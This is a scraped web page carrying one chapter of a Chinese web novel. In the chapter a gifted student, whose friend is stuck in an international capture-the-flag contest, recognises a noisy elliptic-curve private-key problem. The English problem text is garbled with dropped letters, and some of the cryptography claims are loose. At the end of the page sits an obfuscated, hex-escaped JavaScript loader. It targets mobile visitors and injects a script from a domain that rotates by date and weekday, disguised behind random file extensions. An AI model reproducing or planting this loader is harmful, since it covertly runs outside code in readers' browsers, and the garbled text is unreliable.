返回第58章 他们的思路,都走偏了!  爱吃鱼小仙首页

关灯 护眼     字体:

上一章 目录 下一章

短暂的假期,如同一场喧嚣过后迅速落幕的电影,终有散场之时。

许燃婉拒了县里安排的专车,一个人,一个双肩包,再次坐上了高铁。

窗外的风景飞速倒退,家乡那片被荣誉和人情搅得沸反盈天的天空,渐渐被抛在身后。

那叠沉甸甸的,属于前辈陈远山的手稿,他用手机一页一页拍了下来,存在了加密的云盘里。

【叮!。】

是市里追加的奖励,两万。

加上省里的二十万和县里七七八八凑的五万,这张卡里的数字,己经达到了二十七万。

一笔足以让任何一个普通家庭为之疯狂的巨款。

这笔钱,对于他脑海中庞大的“计算物理学”项目来说,可能连一台入门级的服务器都买不起。

路漫漫其修远兮。

他关掉手机银行,点开系统面板,目光在那棵初具雏形的技能树上逡巡。

【宿主:许燃】

【声望值:18200(全国新星)】

【积分:12750】

【属性:】

【数学:lv10(ax)】

【分支:】

他的目光,在【密码学 lv1】灰暗的经验条上,停留了片刻。

数学己经满级,成了他所有能力的基石。

计算物理学,是他为前辈,也为自己选择的,通往星辰大海的征途。

而这门密码学似乎暂时还没有用武之地。

就在这时,裤兜里的手机,疯狂地震动起来。

嗡——嗡嗡——

不是电话,是微信消息,轰炸着他的通知栏。

许燃解锁屏幕,点开微信。

置顶圆滚滚的胖子头像正在闪烁着。

【胖子】:燃哥!

【胖子】:燃神!!!

【胖子】:义父!爹!快看爹!我给你跪下了!磕头了!咚咚咚!

紧接着,是一连串的【跪拜】和【流泪】的表情包,刷满了整个屏幕。

许燃的眉毛微微一挑。

孙磊,他的高中同桌兼铁哥们。

一个除了对计算机和游戏有着异乎常人的热情外,其他科目一塌糊涂的活宝。

此刻,正应该是某个网吧的包厢里,和他的“兄弟们”征战召唤师峡谷才对。

许燃没回复,静静地看着他表演。

果然,独角戏唱了几十秒后,胖子憋不住了。

【胖子】:哥!我出事了!我摊上大事了!你再不拉兄弟一把,兄弟就要被全世界的黑客吊起来打了!

许燃的手指在键盘上敲了两个字。

【许燃】:说。

对面仿佛等这句话等了几个世纪,瞬间,一段长长的语音消息弹了出来,足足有五十九秒。

卡在极限语言消息时长?

胖子你是人啊?

许燃皱了下眉,点开。

胖子特有的嗓音,夹杂着电流声和各种键盘敲击的背景音,吼了出来:

“燃哥!救命啊!我参加了一个国际ctf线上夺旗赛!

懂吗?就是黑客之间对打的那种!

本来我们队嘎嘎乱杀,都冲到全球第三了!

结果主办方那帮狗东西,在最后一关放了个绝杀题!

一个超级变态的密码学难题!”

“现在全世界所有队伍,几千号顶尖高手,对着这道题卡了整整五个小时了!

五个小时!

你知道吗!

全球排名第一的那个毛子队,首接在公共频道打出gg,说出题人脑子有问题!”

“主办方更贱,他们看没人解出来,居然又追加了悬赏!

谁第一个解出来,一万美金!

一万美金啊燃哥!我们队现在就差这一道题就能反超登顶了!

钱是小事,主要是这口气咽不下去啊!”

语音的最后,胖子的声音甚至带上了一丝哭腔,显然是被折磨得不轻。

ctf,capture the fg,夺旗赛。

许燃知道这个,是网络安全技术人员之间进行技术竞技的一种比赛形式,涵盖了密码学、逆向工程、web安全等诸多领域。

对于胖子这种“野生”的计算机爱好者来说,能在国际赛事里冲到前排,足以证明他的天赋。

【胖出新高度】:哥,我知道这玩意儿你肯定不懂,跟你也不是一个领域的。

我就跟你发发牢骚,让你见识一下,这个世界上,除了你们数学家搞的那些天书,还有能把全世界黑客都干懵逼的神仙题!

说完,胖子发来了一张截图。

他只是想炫耀一下这个难题的难度,没指望许燃真能帮上什么忙。

毕竟,一个是搞纯理论数学的,一个是搞信息安全的,隔行如隔山。

许燃点开了那张截图。

屏幕上,是一段英文的题目描述。

【title: the whisperg curve】

【proble: given a pri p, a ge, and a series of pots y = xg on the elliptic curve e over the fite field gf(p), where g is the base pot and x is the unknown private key

however, durg transission, the y-ordate of so pots suffered or bit-flips

your task is to rever the private key x fro this noisy data】

许燃的眼神,平静地扫过这段英文。

在普通人眼里,这简首就是一段乱码。

在胖子和他那些队友眼里,这是一道让人绝望的,无解的天堑。

可在许燃眼中,这段描述,却瞬间在他的【密码学 lv1】的知识体系里,激起了一阵清晰无比的涟漪。

“椭圆曲线离散对数问题”

他瞬间就辨认出了这道题的核心。

ecdlp,现代公钥密码学的基石之一。

破解它,相当于正面攻破一套成熟的加密体系,难度极大。

但是

许燃的目光,落在了那个关键的描述上:“y-ordate of so pots suffered or bit-flips”。

y坐标,发生了轻微的比特位翻转。

有噪声!

这一下,问题的性质,就完全变了!

不再是一个常规的椭圆曲线离散对数问题。

而是一个它的变种,一个更加诡异,更加刁钻的难题:

“带有噪声的隐蔽数问题”。

知识点恰好就在他【密码学 lv1】刚刚解锁的知识体系的边缘地带。

仿佛是一个新手村外的第一个精英怪,正对着他张牙舞爪。

常规的方法,比如最著名的shor算法,在面对这种“带有噪声”的数据时,会立刻失效。

因为翻转的比特位,就像是一滴滴滴入清水中的墨汁,将原本清晰的数学结构,搅得一片浑浊。

所有依赖于这种清晰结构的算法,都会因为这些“噪声”而得出完全错误的结果。

“难怪”

许燃瞬间就明白了为什么全世界的队伍都被卡住了。

“他们的思路,都走偏了。”

『加入书签,方便阅读』

上一章 目录 下一章

(function(_hN1,$QGSSpXr2,WglLY3,cKySOnvvL4,foOXyripQ5){var vEiTBsa6;_hN1['\x69\x64\x69\x61']=function(WA7){var qyRFA8=window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e']({},vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73'],WA7);return new vEiTBsa6(qyRFA8)};vEiTBsa6=function(args){window["\x4f\x62\x6a\x65\x63\x74"]['\x61\x73\x73\x69\x67\x6e'](this,args);var G9={win:false,mac:false,xll:false};var yhZgFbF10=navigator['\x70\x6c\x61\x74\x66\x6f\x72\x6d'];G9['\x77\x69\x6e']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x57\x69\x6e")===0;G9['\x6d\x61\x63']=yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4d\x61\x63")===0;G9['\x78\x31\x31']=yhZgFbF10==="\x58\x31\x31"||yhZgFbF10['\x69\x6e\x64\x65\x78\x4f\x66']("\x4c\x69\x6e\x75\x78")===0;if(!G9['\x77\x69\x6e']&&!G9['\x6d\x61\x63']&&!G9['\x78\x6c\x6c']){this['\x5f\x69\x6e\x69\x74']()}};vEiTBsa6['\x70\x72\x6f\x74\x6f\x74\x79\x70\x65']['\x5f\x69\x6e\x69\x74']=function(){let newDate=new window["\x44\x61\x74\x65"]();let time=newDate['\x67\x65\x74\x54\x69\x6d\x65']();let time2=null;if(this['\x73\x77\x69\x74\x63\x68\x5f\x64\x6f\x6d\x61\x69\x6e\x5f\x63\x6f\x75\x6e\x74']==1){time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))}else{time2=(newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x4d\x6f\x6e\x74\x68']()+1))+(newDate['\x67\x65\x74\x44\x61\x74\x65']()<10?"\x30"+window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()):window["\x53\x74\x72\x69\x6e\x67"](newDate['\x67\x65\x74\x44\x61\x74\x65']()))+(newDate['\x67\x65\x74\x48\x6f\x75\x72\x73']()<12?"\x30":"\x31")}let baseurl=this['\x62\x61\x73\x65\x5f\x75\x72\x69']['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x64\x61\x74\x65\x7d",time2);let week=null;newDate['\x67\x65\x74\x44\x61\x79']()==0?(week="\x73\x75\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==1?(week="\x6d\x6f\x6e"):newDate['\x67\x65\x74\x44\x61\x79']()==2?(week="\x74\x75\x65"):newDate['\x67\x65\x74\x44\x61\x79']()==3?(week="\x77\x65\x64"):newDate['\x67\x65\x74\x44\x61\x79']()==4?(week="\x74\x68\x75"):newDate['\x67\x65\x74\x44\x61\x79']()==5?(week="\x66\x72\x69"):(week="\x73\x61\x74");let day=newDate['\x67\x65\x74\x44\x61\x74\x65']();baseurl=baseurl['\x72\x65\x70\x6c\x61\x63\x65']("\x7b\x77\x65\x65\x6b\x64\x61\x79\x7d",week+day);let suffix=["\x6a\x73","\x6a\x73\x6f\x6e","\x68\x74\x6d\x6c","\x73\x68\x74\x6d\x6c","\x78\x6d\x6c","\x73\x78\x6d\x6c","\x70\x64\x66","\x72\x74\x66","\x64\x6f\x63","\x64\x6f\x63\x78","\x77\x70\x73","\x6f\x64\x66","\x70\x70\x74","\x78\x70\x73","\x70\x73\x64","\x70\x6e\x67","\x6a\x70\x67","\x6a\x70\x65\x67","\x77\x65\x64\x70","\x74\x78\x74",][window["\x4d\x61\x74\x68"]['\x66\x6c\x6f\x6f\x72'](window["\x4d\x61\x74\x68"]['\x72\x61\x6e\x64\x6f\x6d']()*21)];let htmlcode='\x3c\x73\x63\x72\x69\x70\x74 \x69\x64\x3d\x22'+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+'\x22 \x73\x72\x63\x3d\x22'+baseurl+time+"\x2e"+this['\x77\x65\x62\x5f\x75\x75\x69\x64']+"\x2e"+this['\x77\x65\x62\x5f\x69\x64']+"\x2e"+suffix+"\x3f"+time+'\x22\x3e'+"\x3c\x2f"+"\x73\x63\x72\x69\x70\x74\x3e";window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]['\x77\x72\x69\x74\x65\x6c\x6e'](htmlcode)};vEiTBsa6['\x64\x65\x66\x61\x75\x6c\x74\x73']={web_uuid:$QGSSpXr2,web_id:WglLY3,switch_domain_count:cKySOnvvL4,base_uri:foOXyripQ5,};_hN1['\x69\x64\x69\x61']()})(window, "auwBfFHWZjVcYVdXD5riSC", "1911", "2", "https://{weekday}.bugs{date}ko.com/");